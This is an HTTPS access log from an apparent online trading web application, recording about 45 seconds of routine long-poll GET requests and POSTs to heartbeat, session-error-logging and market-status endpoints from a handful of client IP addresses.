[09/Jan/2026:11:58:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931354389 HTTP/1.1" -
[09/Jan/2026:11:58:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931354735 HTTP/1.1" -
[09/Jan/2026:11:58:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931356156 HTTP/1.1" -
[09/Jan/2026:11:58:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931355854 HTTP/1.1" -
[09/Jan/2026:11:58:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931356206 HTTP/1.1" -
[09/Jan/2026:11:58:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931356537 HTTP/1.1" -
[09/Jan/2026:11:58:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931358798 HTTP/1.1" -
[09/Jan/2026:11:58:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931359612 HTTP/1.1" -
[09/Jan/2026:11:58:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931359792 HTTP/1.1" -
[09/Jan/2026:11:58:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931361198 HTTP/1.1" -
[09/Jan/2026:11:58:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931360923 HTTP/1.1" -
[09/Jan/2026:11:58:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931361425 HTTP/1.1" -
[09/Jan/2026:11:58:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931361600 HTTP/1.1" -
[09/Jan/2026:11:58:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931363952 HTTP/1.1" -
[09/Jan/2026:11:58:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931364855 HTTP/1.1" -
[09/Jan/2026:11:58:16 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931364822 HTTP/1.1" -
[09/Jan/2026:11:58:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931366234 HTTP/1.1" -
[09/Jan/2026:11:58:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931365986 HTTP/1.1" -
[09/Jan/2026:11:58:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931366566 HTTP/1.1" -
[09/Jan/2026:11:58:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:58:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:58:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931366685 HTTP/1.1" -
[09/Jan/2026:11:58:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931369007 HTTP/1.1" -
[09/Jan/2026:11:58:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:58:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:58:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931369912 HTTP/1.1" -
[09/Jan/2026:11:58:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931370082 HTTP/1.1" -
[09/Jan/2026:11:58:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931371274 HTTP/1.1" -
[09/Jan/2026:11:58:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931371046 HTTP/1.1" -
[09/Jan/2026:11:58:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:58:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931371705 HTTP/1.1" -
[09/Jan/2026:11:58:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931371776 HTTP/1.1" -
[09/Jan/2026:11:58:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:58:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931374068 HTTP/1.1" -
[09/Jan/2026:11:58:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:58:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931374969 HTTP/1.1" -
[09/Jan/2026:11:58:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931375309 HTTP/1.1" -
[09/Jan/2026:11:58:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:58:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:58:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931376305 HTTP/1.1" -
[09/Jan/2026:11:58:27 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931376111 HTTP/1.1" -
[09/Jan/2026:11:58:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931376860 HTTP/1.1" -
[09/Jan/2026:11:58:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931376940 HTTP/1.1" -
[09/Jan/2026:11:58:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931379134 HTTP/1.1" -
[09/Jan/2026:11:58:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931380029 HTTP/1.1" -
[09/Jan/2026:11:58:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931380443 HTTP/1.1" -
[09/Jan/2026:11:58:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:58:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931381336 HTTP/1.1" -
[09/Jan/2026:11:58:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931381178 HTTP/1.1" -
[09/Jan/2026:11:58:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931381998 HTTP/1.1" -
[09/Jan/2026:11:58:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931381966 HTTP/1.1" -
[09/Jan/2026:11:58:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931384197 HTTP/1.1" -
[09/Jan/2026:11:58:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931385096 HTTP/1.1" -
[09/Jan/2026:11:58:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931385620 HTTP/1.1" -
[09/Jan/2026:11:58:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931386376 HTTP/1.1" -
[09/Jan/2026:11:58:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931386523 HTTP/1.1" -
[09/Jan/2026:11:58:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931387228 HTTP/1.1" -
[09/Jan/2026:11:58:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931387039 HTTP/1.1" -
[09/Jan/2026:11:58:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931389251 HTTP/1.1" -
[09/Jan/2026:11:58:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931390151 HTTP/1.1" -
[09/Jan/2026:11:58:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931390899 HTTP/1.1" -
[09/Jan/2026:11:58:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931391421 HTTP/1.1" -
[09/Jan/2026:11:58:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931391581 HTTP/1.1" -
[09/Jan/2026:11:58:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931392349 HTTP/1.1" -
[09/Jan/2026:11:58:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931392095 HTTP/1.1" -
[09/Jan/2026:11:58:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931394310 HTTP/1.1" -
[09/Jan/2026:11:58:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931395209 HTTP/1.1" -
[09/Jan/2026:11:58:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931396460 HTTP/1.1" -
[09/Jan/2026:11:58:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931396110 HTTP/1.1" -
[09/Jan/2026:11:58:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931396637 HTTP/1.1" -
[09/Jan/2026:11:58:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:58:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:58:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:58:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931397470 HTTP/1.1" -
[09/Jan/2026:11:58:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931397120 HTTP/1.1" -
[09/Jan/2026:11:58:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
